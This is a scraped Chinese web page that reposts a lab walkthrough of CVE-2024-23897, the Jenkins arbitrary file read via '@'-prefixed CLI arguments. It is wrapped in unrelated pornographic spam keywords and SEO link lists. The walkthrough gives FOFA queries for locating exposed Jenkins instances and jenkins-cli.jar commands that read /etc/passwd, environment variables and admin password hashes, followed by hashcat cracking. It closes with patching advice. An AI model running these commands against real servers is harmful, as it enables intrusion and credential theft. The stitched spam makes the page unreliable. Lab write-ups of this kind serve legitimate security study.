亚洲精品无码久久不卡丨熟女少妇人妻中文字幕丨午夜内射高潮视频丨视频区国产亚洲.欧美丨少妇三级全黄

當前位置: 首頁 > news >正文

做網站困難嗎/優秀網站設計欣賞

做網站困難嗎,優秀網站設計欣賞,做go分析的網站,四川手機網站content Jenkins是什么CVE-2024-23897總結修復建議 Jenkins是什么 Jenkins是一人基于Java開發的、可擴展的持續集成引擎,用于持續、自動地構建/測試軟件項目,可以監控一些定時執行的任務。 官網文檔: Jenkins是一款開源 CI&CD 軟件&…

content

  • Jenkins是什么
  • CVE-2024-23897
  • 總結
  • 修復建議

Jenkins是什么

Jenkins是一人基于Java開發的、可擴展的持續集成引擎,用于持續、自動地構建/測試軟件項目,可以監控一些定時執行的任務。

官網文檔:

Jenkins是一款開源 CI&CD 軟件,用于自動化各種任務,包括構建、測試和部署軟件。 Jenkins
支持各種運行方式,可通過系統包、Docker 或者通過一個獨立的 Java 程序。

在這里插入圖片描述

持續集成引擎:
持續集成引擎就像是軟件開發中的智能管家,能自動收集開發人員編寫的代碼并整合到一起,然后像組裝機器一樣對代碼進行檢查和組裝,使其成為可運行的軟件,接著還會對軟件進行各種測試,一旦發現問題就及時告知開發人員,通過不斷地重復這些操作,確保軟件能快速、高質量地完成開發,而 Jenkins 就是這樣一個基于 Java 開發的、能實現這些功能的持續集成引擎工具。

CVE-2024-23897

CVE - 2024 - 23897是Jenkins存在的一個任意文件讀取漏洞。Jenkins為用戶提供了命令行接口,用戶能夠借助jenkins - cli.jar調用該接口,進而執行Jenkins的部分功能。然而,當使用jenkins - cli.jar執行命令行操作時,服務端會利用第三方庫args4j對命令行進行解析。在解析過程中,若參數以@開頭,系統就會把它認定為一個文件名,隨后讀取該文件的內容并將其作為參數。這一機制存在風險,一旦參數設置不當,就可能引發報錯,且報錯信息會將文件內容顯示出來,從而導致任意文件讀取的情況發生。
目前我的能力只能把漏洞打一遍,原理分析請看P神的原理分析文章
受影響版本:
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2

fofa:

app="jenkins"

or

header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

在這里插入圖片描述

vulhub開啟靶場環境,訪問本機8080端口
在這里插入圖片描述

訪問http://靶場IP:8080/jnlpJars/jenkins-cli.jar

觸發漏洞,但是這個命令只能讀取部分內容

java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 "@etc/passwd"

在這里插入圖片描述
讀取/proc/self/environ
在這里插入圖片描述
一些命令輸出行數較多,比如connect-node這個命令

java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/  connect-node "@etc/passwd"

如果開啟了Allow anonymous read access就可以讀取全部文件內容,靶場應該是默認開啟了
Jenkins 安裝將有一個文件/var/jenkins_home/users/users.xml,其中列出了此處的所有有效用戶

java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"

在這里插入圖片描述
這里讀出來admin
users.xml顯示系統上的單個用戶,admin,其信息文件夾為/var/jenkins_home/users/admin_5965741382068509608
在 Jenkins 上的每個用戶文件夾中,始終有一個包含用戶密碼哈希的config.xml文件。
所以現在讀取/var/jenkins_home/users/admin_5965741382068509608/config.xml

java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"

在這里插入圖片描述
讀取到:

<passwordHash>#jbcrypt:$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG</passwordHash>

下面用kali自帶字典和工具爆破密碼

首先把$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG寫入txt文件,再把rockyou.txt復制到當前路徑

hashcat -m 3200 info.txt rockyou.txt

開始爆破
在這里插入圖片描述

但是尷尬了,報錯* Device #1: Not enough allocatable device memory for this attack.我kali內存不夠了,當時只分配了2G。
這邊就直接說密碼了,vulhub環境這個Jenkins密碼是vulhub。用admin/vulhub登錄成功。
登進后臺安全管理界面可以發現Allow anonymous read access恰好是開啟的。

在這里插入圖片描述

總結

Jenkins提供了一個命令行的接口,jenkins-clijar是它的命令行客戶端,通過jenkins-clijar可以去執行一些Jenkins中的功能。
利用條件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+開啟了Allow anonymous read access(讀取完整文件)
流程:
在這里插入圖片描述

因此根本原因是args4j這個庫解析參數不當造成的

修復建議

Jenkins更新到最新版本
禁用Allow anonymous read access選項

http://www.jialimach.com/news/17.html

相關文章:

  • 做貨到付款的購物網站/seo的中文含義是什么
  • 網站后臺是怎樣制作/經典軟文案例100例簡短
  • 2021年有沒有人給個網站/全網營銷系統
  • 長江設計公司/網絡優化報告
  • 萬網網站備案多久/免費優化網站
  • 上海網站排名優化公司/谷歌seo快速排名軟件首頁
  • 網站建設開發平臺/網絡服務器的作用
  • 做平面什么網站好用/百度禁止seo推廣
  • 中國平面設計網站/廣告營銷案例分析
  • 網站建設橙子/百度教育app
  • 蘇省住房和城鄉建設廳網站首頁/百度應用市場app下載安裝
  • 做網站需要源碼/河南做網站優化
  • 主站蜘蛛池模板: 国产内射999视频一区| 韩国v欧美v亚洲v日本v| 极品白嫩的小少妇| 黑人大荫蒂老太大| 噜噜噜av久久av苍井空| 黑鬼大战白妞高潮喷白浆| 国产高清在线a免费视频观看| 99re6热视频这里只精品首页| 国产成人无码一区二区三区| 成人国产精品一区二区免费看| 欧美在线 | 亚洲| 8888四色奇米在线观看| 成人午夜福利免费体验区| 亚洲欧美日韩国产精品专区| 日产精品一区二区| 国产精品美女久久久9999| 日本精品videosse×少妇 | 国产成人精品日本亚洲直播| 中文在线www天堂网| 亚洲精品无码专区久久同性男| 国产未成满18禁止免费看| 欧洲乱码伦视频免费国产| 亚洲欧美日韩中文久久| 久久人妻精品白浆国产| 丝袜国偷自产中文字幕| 欧洲女人性开放免费网站| 国产精品久久久久影院| 久久精品99国产国产精| 婷婷婷国产在线视频| 婷婷色婷婷开心五月| 久久久久99精品成人片试看| 国产男女猛烈无遮挡免费视频| 国产超碰av人人做人人爽| 中文字幕在线不卡精品视频99| 国产精品自在在线午夜蜜芽tv在线| 精品av熟女一区二区偷窥海滩| 久久久www成人免费无遮挡大片| 亚洲人成在线影院| 在线播放人成视频观看| 国产精品国产对白熟妇| 欧美人与性囗牲恔配|